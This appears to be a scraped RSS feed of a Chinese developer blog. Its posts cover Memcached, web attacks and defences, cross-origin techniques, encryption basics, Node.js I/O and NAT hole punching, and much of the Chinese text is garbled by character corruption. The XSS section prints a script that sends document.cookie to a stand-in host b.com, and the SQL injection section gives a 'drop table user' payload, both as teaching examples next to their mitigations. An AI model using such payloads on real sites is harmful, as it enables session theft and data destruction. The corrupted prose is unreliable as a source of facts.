??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲日本VA中文字幕久久道具,亚洲一区二区三区不卡在线播放,亚洲VA中文字幕无码毛片http://www.tkk7.com/linli/archive/2015/05/31/425412.html老林老林Sun, 31 May 2015 09:18:00 GMThttp://www.tkk7.com/linli/archive/2015/05/31/425412.htmlhttp://www.tkk7.com/linli/comments/425412.htmlhttp://www.tkk7.com/linli/archive/2015/05/31/425412.html#Feedback2http://www.tkk7.com/linli/comments/commentRss/425412.htmlhttp://www.tkk7.com/linli/services/trackbacks/425412.html

互联|上的应用、网站,随着用户的增长,功能的增强,会导致服务器蝲Q响应变慢等问题。缓存技术是减轻服务器压力、加快服务响应时间、提升用户体验的有效途径。Memcached是非常流行的~存pȝQ这里介l对Memcached的安装、设定,以及在集环境下的用?/p>

Memcached?/h2>

Memcached是一个开源、高性能、分布式的内存缓存系l,用于加速动态网站的讉KQ减L据库负蝲?/p>

Memcached使用了Slab Allocator的机制分配、管理内存,解决了内存碎片的问题?/p>

Memcached虽然可以在多U程模式下运行,但线E数通常只需讑֮ZCPU数量相同Q这一点与Nginx的设定类伹{?/p>

Memcached使用

安装:

在CentOS下用下面的命o安装Q?/p>

sudo yum install memcached 

启动Q?/strong>

memcached -m 100 -p 11211 -d -t 2 -c 1024 -P /tmp/memcached.pid 

-m 指定使用的内存容量,单位MBQ默?4MB?/p>

-p 指定监听的TCP端口Q默?1211?/p>

-d 以守护进E模式启动?/p>

-t 指定U程敎ͼ默认??/p>

-c 最大客Lq接敎ͼ默认?024?/p>

-P 保存PID文g?/p>

关闭Q?/strong>

kill `cat /tmp/memcached.pid` 

试Q?/strong>

使用telnetq接memcached服务?/p>

telnet localhost 11211 

存储命o格式Q?/p>

set foo 0 0 4 abcd STORED  <command name> <key> <flags> <exptime> <bytes> <data block>  <command name> set, add, replace{?<key> 关键?<flags> 整Ş参数Q存储客L寚w值的额外信息Q如值是压羃的,是字W串Q或JSON{?<exptime> 数据的存zL_单位为秒Q?表示永远 <bytes> 存储值的字节?<data block> 存储的数据内?

d命o格式Q?/p>

get foo VALUE foo 0 4 abcd END  <command name> <key>  <command name> get, gets。gets比get多返回一个数字,q个数字查数据有没有发生变化Q当key对应的数据改变时Qgets多返回的数字也会改变?<key> 关键? q回的数据格式:  VALUE <key> <flags> <bytes> 

CAS(checked and set)Q?/p>

cas foo 0 0 4 1 cdef STORED  cas <key> <flags> <exptime> <bytes> <version>  除最后的<version>外,其他参数与set, add{命令相同,<version>的值需要与gets获取的值相同,否则无法更新?incr, decr可对数字型数据进行原子增减操作?

全局l计信息

stats STAT pid 10218 STAT time 1432611519 STAT curr_connections 6 STAT total_connections 9 STAT connection_structures 7 STAT reserved_fds 10 STAT cmd_get 5 STAT cmd_set 1 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 3 STAT get_misses 2 STAT delete_misses 0 STAT delete_hits 0 ... END 

Memcached集群

Memcached本n不做M定w处理Q对故障节点的处理方式完全取决于客户端。对Memcached的客L来说Q不能用普通的哈希法Q哈希取模)来寻扄标ServerQ因样在有缓存节点失效时Q会D大面U缓存数据不可用。如下图Q?/p>

当Server3失效后,客户端需要根据可用Server数量重新计算~存的目标ServerQ这ӞKey的哈希gؓ10的数据被指定为由Server1l护Q这时原本Server2上可用的~存也无效了?/p>

一致性哈希算?/h4>

一致性哈希算法解决了在动态变化的~存环境中,定位目标Server的问题,通常的实现可它惛_成一个闭合的环Ş。如下图Q?/p>

当有节点失效Ӟ不会影响到正常工作的~存服务器,只有原本分配到失效节点的~存会被重新分配C一个节炏V如下图Q?/p>

微信订阅P
原文地址Q?a >http://blog.gopersist.com/2015/05/28/memcached/



老林 2015-05-31 17:18 发表评论
]]>Web安全技?4)-常见的攻d防Mhttp://www.tkk7.com/linli/archive/2015/04/25/424668.html老林老林Sat, 25 Apr 2015 07:40:00 GMThttp://www.tkk7.com/linli/archive/2015/04/25/424668.htmlhttp://www.tkk7.com/linli/comments/424668.htmlhttp://www.tkk7.com/linli/archive/2015/04/25/424668.html#Feedback2http://www.tkk7.com/linli/comments/commentRss/424668.htmlhttp://www.tkk7.com/linli/services/trackbacks/424668.html

对于一个Web应用来说Q可能会面很多不同的攻凅R下面的内容介l一些常见的dҎQ以及面对这些攻ȝ防M手段?/p>

一、跨站脚本攻击(XSSQ?/h2>

跨站脚本d的英文全U是Cross Site ScriptQؓ了和样式表区分,~写为XSS。发生的原因是网站将用户输入的内容输出到面上,在这个过E中可能有恶意代码被览器执行?/p>

跨站脚本d可以分ؓ两种Q?/p>

1). 反射型XSS

它是通过׃用户打开一个恶意链接,服务端将链接中参数的恶意代码渲染到页面中Q再传递给用户由浏览器执行Q从而达到攻ȝ目的。如下面的链接:

http://a.com/a.jsp?name=xss<script>alert(1)</script> 

a.jsp页面渲染成下面的htmlQ?/p>

Hello xss<script>alert(1)</script> 

q时览器将会弹出提C框?/p>

2). 持久型XSS

持久型XSS恶意代码提交给服务器,q且存储在服务器端,当用戯问相兛_Ҏ再渲染到面中,以达到攻ȝ目的Q它的危x大?/p>

比如Q攻击者写了一带恶意JS代码的博客,文章发表后,所有访问该博客文章的用户都会执行这D|意JS?/p>

Cookie劫持

Cookie中一般保存了当前用户的登录凭证,如果可以得到Q往往意味着可直接进入用户帐P而Cookie劫持也是最常见的XSSd。以上面提过的反型XSS的例子来_可以像下面这h作:

首先׃用户打开下面的链接:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

用户打开链接后,会加载b.jsQƈ执行b.js中的代码。b.js中存储了以下JS代码Q?/p>

var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

上面的代码会向b.comh一张图片,但实际上是将当前面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过E?/p>

防MCookie劫持的一个简单的Ҏ是在Set-Cookie时加上HttpOnly标识Q浏览器止JavaScript讉K带HttpOnly属性的Cookie?/strong>

XSS的防?/h3>

1). 输入?/strong>

对输入数据做查,比如用户名只允许是字母和数字Q邮必L指定格式。一定要在后台做查,否则数据可能l过前端查直接发l服务器。一般前后端都做查,q样前端可以挡掉大部分无效数据?/p>

对特D字W做~码或过滤,但因Z知道输出时的语境Q所以可能会做不适当的过滤,最好是在输出时具体情况具体处理?/p>

2). 输出?/strong>

Ҏ染到HTML中内Ҏ行HtmlEncodeQ对渲染到JavaScript中的内容执行JavascriptEncode?/p>

另外q可以用一些做XSS查的开源项目?/p>

二、SQL注入

SQL注入常常会听刎ͼ它与XSScMQ是׃用户提交的数据被当成命o来执行而造成的。下面是一个SQL注入的例子:

String sql = "select * from user where username = '" + username + "'"; 

像上面的SQL语句Q如果用h交的username参数是leoQ则数据库执行的SQL为:

select * from user where username = 'leo' 

但如果用h交的username参数是leo’; drop table user–Q那执行的SQL为:

select * from user where username = 'leo'; drop table user--' 

在查询数据后Q又执行了一个删除表的操作,q样的后果非怸重?/p>

SQL注入的防?/h3>

防止SQL注入最好的Ҏ是用预~译语句Q如下面所C:

String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

不同语言的预~译Ҏ不同Q但基本都可以处理?/p>

如果遇到无法使用预编译方法时Q只能像防止XSS那样对参数进行检查和~码?/p>

三、跨站请求伪造(CSRFQ?/h2>

跨站h伪造的英文全称是Cross Site Request ForgeryQ是׃操作所需的所有参数都能被d者得刎ͼq而构造出一个伪造的hQ在用户不知情的情况下被执行。看下面一个例子:

如果a.com|站需要用L录后可以删除博客Q删除博客的h地址如下Q?/p>

GET http://a.com/blog/delete?id=1 

当用L录a.com后,又打开了http://b.com/b.htmlQ其中有下面的内容:

<img src="http://a.com/blog/delete?id=1"/> 

q时会以用户在a.com的n份发送http://a.com/blog/delete?id=1Q删除那博客?/p>

CSRF的防?/h3>
  1. 验证?/li>

CSRF是在用户不知情的情况下构造的|络情况Q验证码则强制用户与应用交互Q所以验证码可以很好得防止CSRF。但不能什么请求都加验证码?/p>

  1. referer?/li>

查请求header中的referer也能帮助防止CSRFdQ但服务器不是总能拿到refererQ浏览器可能Z安全或隐U而不发送refererQ所以也不常用。倒是囄防盗链中用得很多?/p>

  1. Anti CSRF Token

更多的是生成一个随机的tokenQ在用户提交数据的同时提交这个tokenQ服务器端比对后如果不正,则拒l执行操作?/p>

四、点d持(ClickJackingQ?/h2>

点击劫持是从视觉上欺骗用戗攻击者用一个透明的iframe覆盖在一个网上Q诱使用户在该网上操作Q而实际点d是点在透明的iframe面?/p>

点击劫持延Z很多d方式Q有囄覆盖d、拖拽劫持等?/p>

点击劫持的防?/h3>

针对iframe的攻击,可用一个HTTP_X-Frame-OptionsQ它有三U可选|

  • DENYQ?止M面的frame加蝲Q?/li>
  • SAMEORIGINQ只有同源页面的frame可加载;
  • ALLOW-FROMQ可定义允许frame加蝲的页面地址?/li>

针对囄覆盖dQ则注意使用预防XSS的方法,防止HTML和JS注入?/p>

微信订阅P
原文地址Q?a title="http://blog.gopersist.com/2015/04/25/web-security-4/">http://blog.gopersist.com/2015/04/25/web-security-4/



老林 2015-04-25 15:40 发表评论
]]>
Web安全技?3)-览器的跨域讉Khttp://www.tkk7.com/linli/archive/2015/04/22/424584.html老林老林Tue, 21 Apr 2015 16:15:00 GMThttp://www.tkk7.com/linli/archive/2015/04/22/424584.htmlhttp://www.tkk7.com/linli/comments/424584.htmlhttp://www.tkk7.com/linli/archive/2015/04/22/424584.html#Feedback6http://www.tkk7.com/linli/comments/commentRss/424584.htmlhttp://www.tkk7.com/linli/services/trackbacks/424584.html

一、浏览器介绍

对于Web应用来说Q浏览器是最重要的客L?/p>

目前览器五花八门多得不得了Q除了Chrome、IE、Firefox、Safari、Operaq些国外的浏览器外,癑ֺ、腾讯?60、淘宝、搜狗、傲怹cȝQ反正能做的都做了?/p>

览器虽然这么多Q但览器内怸要就以下4U:

  1. TridentQIE使用的内核?/li>
  2. GeckoQFirefox使用的内核?/li>
  3. WebKitQSafair和Chrome使用的内核。WebKitp果发明,Chrome也用了,但是Google又开发了V8引擎替换掉了WebKit中的Javascript引擎?/li>
  4. PrestoQOpera使用的内核?/li>

国内的浏览器基本都是双核览器,使用ZWebKit的内栔R速浏览常用网站,使用Trident内核兼容|银{网站?/p>

二、同源策?/h2>

同源{略是浏览器最基本的安全策略,它认ZQ何站点的内容都是不安全的Q所以当脚本q行Ӟ只被允许讉K来自同一站点的资源?/p>

同源是指域名、协议、端口都相同?/p>

如果没有同源{略Q就会发生下面这L问题Q?/p>

恶意|站用一个iframe把真实的银行d|C的页面上Q当用户使用用户名密码登录时Q父面的javascript可以读取到银行d表单中的内宏V?/p>

甚至览器的1个Tab|开了恶意网站,另一个Tab|开了银行网站,恶意|站中的javascript可以d到银行网站的内容。这样银行卡和密码就能被L拿走?/p>

三、跨域访?/h2>

׃同源{略的原因,览器对跨域讉K做了很多限制Q但有时我们的确需要做跨域讉KQ那要怎么办?主要有以下几U情况:

1. iframe的跨域访?/h3>

同域名下Q父面可以通过document.getElementById(‘_iframe’).contentWindow.document讉K子页面的内容Q但不同域名下会出现cM下面的错误:

Uncaught SecurityError: Blocked a frame with origin “http://a.com” from accessing a frame with origin “http://b.com”. Protocols, domains, and ports must match.

有两U解x法:

1). 当主域名相同Q子域名不同Ӟ比较Ҏ解决Q只需讄相同的document.domain卛_?/p>

如http://a.a.com/a.html使用iframe载入http://b.a.com/b.htmlQ且在a.html中有Javascript要修改b.html中元素的内容Ӟ可以像下面的代码那样操作?/p>

a.html

<html>
<head>
<script>
document.domain = 'a.com';
function changeIframeContent() {
var _iframe = document.getElementById('_iframe');
var _p = _iframe.contentWindow.document.getElementById('_p');
_p.innerHTML = 'Content from a.html';
}
</script>
</head>
<body>
<iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"></iframe>
<br>
<input type="button" value="Change iframe content" onclick="changeIframeContent();"/>
</body>
</html>

b.html

<html>
<head>
<script>
document.domain = 'a.com';
</script>
</head>
<body>
<p id="_p">b.html</p>
</body>
</html>

2). 当主域名不同Ӟ非帔R烦了。大致的Ҏ像下面描q的那样Q?/p>

  • a.com下有a.htmlQ?/li>
  • a.html创徏iframe加蝲b.com下的b.htmlQ可在加载b.html旉过??参C递到b.html中;
  • b.html加蝲后,可以通过提取location.search或location.hash中的内容获取a.html传过来的参数Q?/li>
  • b.html创徏一个iframeQ加载a.com下的c.htmlQƈ且参C通过??传给c.htmlQ?/li>
  • 因ؓc.html和a.html是相同域名,所以c.html可以使用parent.parent讉K到a.html的对象,q样也就可以b.html需要传递的参数传回到a.html中?/li>

2. Ajax的跨域访?/h3>

Ajax主要通过XMLHttpRequest对象实现Q但是如果通过XMLHttpRequest讉K不同域名下的数据Q浏览器会出现类g面的错误Q?/p>

XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://a.com’ is therefore not allowed access.

q时可由以下两种Ҏ解决Q?/h4>

1). 使用<script>代替XMLHttpRequestQ也是JSONP的方法。利?lt;script>标签的src下加载的js不受同源{略限制Qƈ且加载后的jsq行在当前页面的域下Q所以可自由操作当前面的内宏V?/p>

下面的代码演CZ在a.com下的a.html通过b.com下的b.js中的内容来更新自w的p标签?/p>

a.html

<html>
<head>
<script>
function update_p (content) {
document.getElementById("_p").innerHTML = content;
}
function getFromB() {
var _script = document.createElement("script");
_script.type = "text/javascript";
_script.src = "http://b.com/demo/ajax/b.js";
document.getElementsByTagName("head")[0].appendChild(_script);
}
</script>
</head>
<body>
<p id="_p">a.html</p>
<input type="button" value="Get from b.com" onclick="getFromB()"/>
</body>
</html>

b.js

update_p("content from b.js"); 

在实际用中Q通常a.html会将update_p以callback参数名传递给b.com的服务器Q服务器动态生成数据后Q再用callback参数值包h作ؓ响应回传la.html?/p>

2). 在b.com的服务器q回信息中增加以下头信息Q?/p>

  • Access-Control-Allow-Origin: http://a.com
  • Access-Control-Allow-Methods: GET

此时览器便允许a.comd使用GEThb.com的内宏V?/p>

对于flash来说Q会要求在网站根目录下放一个名为crossdomain.xml的文Ӟ以指明允许访问的域名来源。文件中的内容类g面的样子Q?/em>

<cross-domain-policy>
<allow-access-from domain="*.a.com" />
</cross-domain-policy>

3. 使用HTML5的postMessageҎ实现跨域讉K

HTML5增加了跨文档消息传输Q下面的例子实现了用postMessage在不同域间传递消息:

a.html

<html>
<head>
<script>
function update_b () {
var _iframe = document.getElementById("_iframe");
_iframe.contentWindow.postMessage("content from a.html", "http://b.com");
}
</script>
<head>
<body>
<iframe id="_iframe" src="http://b.com/demo/html5/b.html"></iframe>
<br>
<input type="button" value="Update b.html" onclick="update_b()"></input>
</body>
</html>

b.html

<html>
<head>
<script>
window.addEventListener("message", function (event) {
document.getElementById("_p").innerHTML = event.data;
}, false);
</script>
</head>
<body>
<p id="_p">b.html</p>
</body>
</html>

在postMessage中要指定接收方的域名Q如果发现目标页面的域名不正,抛出类g面这L错误Q?/p>

Failed to execute ‘postMessage’ on ‘DOMWindow’: The target origin provided (‘http://c.com’) does not match the recipient window’s origin (‘http://b.com’).

览器对跨域讉K的限制是Z安全考虑的,所以在使用一些方法实现跨域访问时要特别小心?/em>

微信订阅P
源文地址Q?a >http://blog.gopersist.com/2015/04/22/web-security-3/



老林 2015-04-22 00:15 发表评论
]]>
Web安全技?2)-安全概述http://www.tkk7.com/linli/archive/2015/04/17/424507.html老林老林Fri, 17 Apr 2015 15:47:00 GMThttp://www.tkk7.com/linli/archive/2015/04/17/424507.htmlhttp://www.tkk7.com/linli/comments/424507.htmlhttp://www.tkk7.com/linli/archive/2015/04/17/424507.html#Feedback0http://www.tkk7.com/linli/comments/commentRss/424507.htmlhttp://www.tkk7.com/linli/services/trackbacks/424507.html一、安全的要素

信息安全的核心问题是要保障数据的合法使用者能够在M需要该数据时获得保密的Q没有被非法更改q的数据。主要有以下几要素:

机密?/p>

  • 保证数据内容不能泄露?/li>
  • 用户的密码用明文保存Q就破坏了机密性?/em>

完整?/p>

  • 保证数据内容不被改?/li>
  • 使用HTTP提交数据Ӟ数据在传输过E中被篡改后再发往服务器,q坏了完整性?/em>

可用?/p>

  • 保证数据可被正常讉K和用?/li>
  • 像拒l服务攻击(DoSQ就是破坏了可用性?/em>

最基本的安全要素就上面三个Q下面还有一些其他的?/strong>

可审计?/p>

  • 记录Ҏ据生的操作Q用于日后的分析、审查?/li>

不可抵赖?/p>

  • 首先要保证数据完整性,然后Q在传输的数据中必须携带用于w䆾识别的信息,且这部分信息在不同主体间不能发生撞?/li>

加密技术的使用

上一?a style="color: #1756a9; text-decoration: none;">《Web安全技?1)-对加密机制的理解?/a>中提C三类加密法Q可以应用于某些要素的安全保障。如下面的说明:

对称加密

  • 可保障机密性,Ҏ据加密后存储Q可以没有密钥的h员无法获取数据内宏V?/li>

非对U加?/strong>

  • 可以Ҏ据进行加密解密操作,所以也能像对称加密一样保障机密性;
  • 因ؓ非对U加密可以实现数字签名,所以可以保证数据完整性。另外,׃是用私钥签名,而私钥只有数据发送方才有Q所以如果公钥可以验{成功,则发送方不可抵赖?/li>

摘要加密

  • 摘要法可保障数据完整性?/p>

  • 在某些网站的软g下蝲面里,有时除了下蝲地址Q旁边还会有一个MD5码。这个MD5是对下载的软g做的摘要加密。在下蝲完成后,在本机对下蝲的Y件做MD5Q然后和|站上显C的MD5做比较,如果相同pCY件被成功下蝲Q而且下蝲q程中Y件内Ҏ有被改?/em>
  • 在做pȝӞ我们也经怼对密码做摘要加密后再保存Q因为摘要加密的一个特性是不可逆,q样通过数据库中保存的加密后的密码不可能q原成用L真实密码。而用L录时Q只需用h交的密码再做摘要加密Q然后与数据库中保存的密码比较,p判断用户有没有输入正的密码?/em>

二、风险分?/h2>

对于数据可能会遇C么威胁,一般是拍脑袋想一惻I也可以用模型帮忙,下面是一个叫STRIDE的威胁模型:

如何评估风险Q?/h3>

数据受到威胁可能造成损失Q但损失有大有小Q威胁发生的概率也有高有低,我们要结合具体情冉|寚w险做出判断。有一个叫DREAD的模型,可以指导我们如何判断威胁的风险程度?/p>

每一个因素都分高、中、低三个{Q权重值分别ؓ3???/p>

当有一个威胁时Q我们将它在每一个因素中的权重值相加,卛_得出风险pL?/p>

假如我们寚w险系数范围的定义如下Q?/p>

高危Q?2~15分,中危Q?~11分,低危Q?~7分?/p>

那如果以使用明文保存密码ZQ风险系数可能像下面q样计算Q?/p>

风险 = D(3) + R(1) + E(1) + A(3) + D(1) = 9分,q就是一个中危风险?/p>

后箋对威胁的处理Q应当根据风险的大小和修复的难易E度做出q?br />
微信订阅P
源文地址Q?a title="http://blog.gopersist.com/2015/04/17/web-security-2/">http://blog.gopersist.com/2015/04/17/web-security-2/



老林 2015-04-17 23:47 发表评论
]]>Web安全技?1)-对加密机制的理解http://www.tkk7.com/linli/archive/2015/04/13/424381.html老林老林Mon, 13 Apr 2015 13:51:00 GMThttp://www.tkk7.com/linli/archive/2015/04/13/424381.htmlhttp://www.tkk7.com/linli/comments/424381.htmlhttp://www.tkk7.com/linli/archive/2015/04/13/424381.html#Feedback0http://www.tkk7.com/linli/comments/commentRss/424381.htmlhttp://www.tkk7.com/linli/services/trackbacks/424381.html加密法

数据加密法有对U加密、非对称加密和信息摘要三cR?/p>

对称加密是用单个密钥对数据q行加密和解密。有DES、AES、RC-5{算法?/p>

非对U加密是使用一对密?公钥和私?Ҏ据进行加密和解密。有RSA、ECC{算法。非对称加密大概比对U加密慢100倍以上?/p>

通常的用法如下:

  1. 使用公钥加密数据Q用私钥解密数据?/li>
  2. 使用U钥{֐数据Q用公钥验证签名?/li>

信息摘要如果也算加密法的话Q它的加密过E不需要密钥,q且l过加密的数据无法被解密Q它是根据不定长的明文计得CD定长的数据。有MD5、SHA1{算法?/p>

密钥规范

规范太多Q网上讲得很乱,挑常用的按我的理解列一下?/p>

密钥格式Q?/h4>
  1. X.509Q通用的证书格式,包括公钥信息、用h识、签发信息等?/li>
  2. PKCSpȝ标准Q美国RSA数据安全公司及其合作伙伴制定的一l公钥密码学标准。其中PKCS#8描述U有密钥的信息格式,包括U钥及可选的属性集{?/li>

密钥存储Q?/h4>
  1. DERQ二q制~码?/li>
  2. PEMQASCII~码?/li>

加密模式

块密码自w只能加密长度等于密码块长度的单块数据,若要对变长数据进行加密,则必M先将数据q行切分Q而且最后一个数据块需要适当的填充方式扩展到密码块的长度。加密模式即块密码的工作模式Q就是用这些方式用同一个密钥对多于一块的数据q行加密?/p>

加密模式通常用于对称加密Q也可以用于非对U加密。但非对U加密通常不适合加密较长的信息,所以会使用混合加密代替?/p>

ps: 以RSA和DESZQ؜合加密通常使用DES先加密明文,再用RSA的公钥加密DES的密钥,再将2个密文一起传递出厅R接收方使用RSA的私钥解密DES的密钥信息,再用DES的密钥解密具体内宏V?/em>

最单的加密模式是ECBQ即电子密码本)。其他还有CBC、PCBC、CFB{?/p>

ECB和CBC需要对最后一块进行填充,填充Ҏ有很多种Q最单的是先在明文的最后填充空字符Q明文长度为密码块长度的整数倍?br />
微信订阅P
源文地址Q?a >http://blog.gopersist.com/2015/04/08/crypto/



老林 2015-04-13 21:51 发表评论
]]>Node.js的异步I/Ohttp://www.tkk7.com/linli/archive/2015/04/13/424380.html老林老林Mon, 13 Apr 2015 13:42:00 GMThttp://www.tkk7.com/linli/archive/2015/04/13/424380.htmlhttp://www.tkk7.com/linli/comments/424380.htmlhttp://www.tkk7.com/linli/archive/2015/04/13/424380.html#Feedback0http://www.tkk7.com/linli/comments/commentRss/424380.htmlhttp://www.tkk7.com/linli/services/trackbacks/424380.htmlLinux操作pȝ的I/O模型

JAVA的NIO引入了异步I/OQ而Node.js宣称的就是异步编E,I/O自然是异步的。其实操作系l在很早引入了异步I/O的概念,如下图(摘自Unix|络~程中的囄Q:

我对上图的理解有几点Q?/p>

  1. 从IO讑֤d数据到用户内存的整个q程都是ql内核来完成Q?/li>
  2. 数据L先被拯到内核缓冲区Q再由内核缓冲区拯到用户内存;
  3. 除了异步I/OQ其?UI/O模型其实都是d的,臛_在数据从内核拯到用户内存时是阻塞的Q?/li>
  4. 虽然异步I/O看上L理想解决ҎQ但实现上现在用得最多的应该是多路I/O复用Q有select、poll、epoll的实玎ͼ性能最好的是epollQ?/li>
  5. 异步I/O现在被认为有~陷Q仅支持O_DIRECT而无法支持系l缓存?/li>

Node.js中的异步I/O

因ؓ内核中的异步I/O有缺P现实中的异步I/O通常qh的U程池模拟完成,如下图:

Node.js中原本用了libeio异步I/O库,在v0.9.3后改己实现的U程池来完成异步I/O。所以在Node.js中,除了用户的Javascript代码是单U程外,所有I/O都是多线Eƈ行执行的?/p>

Node.js中的异步I/O调用

Node.js通过事g循环的模式运行,在每一个@环的q程中,通过询问一个或多个观察者来判断是否有事件要处理Q而观察者可以有文gI/O观察者、网lI/O观察者等?/p>

Node.js中异步I/O调用的大致流E如下:

  • 发vI/O调用
    1. 用户通过Javascript代码调用Node核心模块Q将参数和回调函C入到核心模块Q?/li>
    2. Node核心模块会将传入的参数和回调函数装成一个请求对象;
    3. 这个请求对象推入到I/OU程池等待执行;
    4. Javascript发v的异步调用结束,JavascriptU程l箋执行后箋操作?/li>
  • 执行回调
    1. I/O操作完成后,会将l果储存到请求对象的result属性上Qƈ发出操作完成的通知Q?/li>
    2. 每次事g循环时会查是否有完成的I/O操作Q如果有将h对象加入到I/O观察者队列中Q之后当做事件处理;

  • 处理I/O观察者事件时Q会取出之前装在请求对象中的回调函敎ͼ执行q个回调函数Qƈresult当参敎ͼ以完成Javascript回调的目的?br />
    微信订阅P
    源文地址Q?a title="作者博客:http://blog.gopersist.com">
    http://blog.gopersist.com/2015/03/09/aio/


老林 2015-04-13 21:42 发表评论
]]>
P2P中NAT之间的打z可能?/title><link>http://www.tkk7.com/linli/archive/2014/10/23/418968.html</link><dc:creator>老林</dc:creator><author>老林</author><pubDate>Thu, 23 Oct 2014 06:17:00 GMT</pubDate><guid>http://www.tkk7.com/linli/archive/2014/10/23/418968.html</guid><wfw:comment>http://www.tkk7.com/linli/comments/418968.html</wfw:comment><comments>http://www.tkk7.com/linli/archive/2014/10/23/418968.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/linli/comments/commentRss/418968.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/linli/services/trackbacks/418968.html</trackback:ping><description><![CDATA[<div>我们看看不同NAT之间的NAT打洞。NAT打洞需要Server配合Q需?UServerQ?/div><div>1. cMWebRTC中的信o服务器,作用是帮助客h沟通IP和PORT信息Q?/div><div>2. STUN ServerQ用来让客户机判断自己所在的NAT环境?/div><div></div><div>现在假设客户端和Server的通讯都没问题Q客L知道自己所处环境,q且自q信息通过服务器发送给了另一方客LQ它们可能的打洞情况如下Q?/div><div>1. Full Cone NAT ?Full Cone NATQ通讯很容易,各自通过STUN Server获取外部IP和Port后,通过信o服务器通知另一方,卛_通讯?/div><div><img src="http://www.tkk7.com/images/blogjava_net/linli/nat/Full_Cone-Full_Cone.png" width="1218" height="447" alt="" /></div><div>2. Full Cone NAT ?Restricted Cone NAT或Port Restricted Cone NAT在互相告知IP和Port后,如果由Full Cone NAT端先发送数据包Q会p|Q必ȝRestricted Cone NAT或Port Restricted Cone NAT端先发送数据包lFull Cone NATQ之后双方即可互盔R讯?/div><div><img src="http://www.tkk7.com/images/blogjava_net/linli/nat/Full_Cone-Port_Restricted_Cone.png" width="1219" height="442" alt="" /></div><div>3. Full Cone NAT ?Symmetric NAT通讯Ӟ必须先由Symmetric NAT端发送数据包lFull Cone NAT端,Full Cone NAT端通过发来的数据包获得目标的新端口P之后通过q个新端口号完成互相通讯?/div><div><img src="http://www.tkk7.com/images/blogjava_net/linli/nat/Full_Cone-Symmetric_NAT.png" width="1219" height="452" alt="" /></div><div>4. Restricted Cone NAT ?Restricted Cone NAT、Restricted Cone NAT ?Port Restricted Cone NAT、Port Restricted Cone NAT ?Port Restricted Cone NAT之间通讯Ӟ先发送数据包的一方会p|Q之后另一方发送数据包成功后,可互盔R讯?/div><div><img src="http://www.tkk7.com/images/blogjava_net/linli/nat/Port_Restricted_Cone-Port_Restricted_Cone.png" width="1219" height="442" alt="" /></div><div>5. Restricted Cone NAT ?Symmetric NAT通讯Ӟ先由Restricted Cone NAT发送数据包lSymmetric NATQ发送数据会p|Q只是ؓ了下ơ能接收从Symmetric NAT端发送过来的数据包。然后由Symmetric NAT发送数据包到Restricted Cone NAT端,Restricted Cone NAT端会收到数据包,q且新的端口号CQ用新的端口号可与Symmetric NAT端通讯?/div><div><img src="http://www.tkk7.com/images/blogjava_net/linli/nat/Restricted_Cone-Symmetric_NAT.png" width="1219" height="452" alt="" /></div><div>6. Port Restricted Cone NAT ?Symmetric NAT通讯Ӟ׃Port Restricted Cone NAT会对IP:PORT对进行限Ӟ所以当Symmetric NAT端用新PORT发来数据包时QPort Restricted Cone NAT端收不到Q它们之间无法通讯?/div><div><img src="http://www.tkk7.com/images/blogjava_net/linli/nat/Port_Restricted_Cone-Symmetric_NAT.png" width="1219" height="452" alt="" /></div><div>7. Symmetric NAT ?Symmetric NAT也无法通讯 ?/div><div><img src="http://www.tkk7.com/images/blogjava_net/linli/nat/Symmetric_NAT-Symmetric_NAT.png" width="1219" height="452" alt="" /></div><img src ="http://www.tkk7.com/linli/aggbug/418968.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/linli/" target="_blank">老林</a> 2014-10-23 14:17 <a href="http://www.tkk7.com/linli/archive/2014/10/23/418968.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>针对UDP数据?UNAT行ؓhttp://www.tkk7.com/linli/archive/2014/10/23/418965.html老林老林Thu, 23 Oct 2014 05:56:00 GMThttp://www.tkk7.com/linli/archive/2014/10/23/418965.htmlhttp://www.tkk7.com/linli/comments/418965.htmlhttp://www.tkk7.com/linli/archive/2014/10/23/418965.html#Feedback0http://www.tkk7.com/linli/comments/commentRss/418965.htmlhttp://www.tkk7.com/linli/services/trackbacks/418965.html针对收发UDP数据QNAT可分为Full Cone、Restricted Cone、Port Restricted Cone、Symmetric NAT四类Q在RFC3489中有定义(http://datatracker.ietf.org/doc/rfc3489/?include_text=1)?/div>
1. Full ConeQ所有从相同的内部IP和PORT发出的请求都映射为相同的外部IP和PORTQ而后M外部L只要发送数据包lNAT的IP和PORT׃被{发给内部L?/div>
从图中可以看刎ͼ只要内部L通过NAT讉K了一ơ外部主机,在Mapping Table中会增加一条内部IP:Port映射到NAT的端口,那么外部的Q何主机都可以通过NAT的IP:PORT数据发l内部主机?/div>
2. Restricted ConeQ所有从相同的内部IP和PORT发出的请求都映射为相同的外部IP和PORTQ但只有内部L曑֏送过数据的外部IP才可数据包通过NAT的IP:PORT发给内部L?/div>
从图中可以看刎ͼ因ؓ内部L没有发过数据包给外部LBQ所以外部主机发到NAT的数据包无法发给内部L?/div>
3. Port Restricted ConeQ和Restricted ConecMQ但是除了IP的限制外增加了PORT的限Ӟ卛_有内部主机曾发送过数据的外部IP:PORT才可数据包通过NAT的IP:PORT发给内部L?/div>
从图中可以看刎ͼ外部L1用另一个PORT无法数据发到内部主机?/div>
4. Symmetric NATQ从内部L相同的IP和PORT发出的请求,当访问不同外部IP和PORTӞ都会在NAT上创Z同的映射?/div>
上图中虽然内部IP和PORT相同Q但讉K不同的外部IP/PORT对,都会映射Z同的NAT PORT。当外部L发数据包l内部主机时Q也只能使用对应的PORT?/div>

老林 2014-10-23 13:56 发表评论
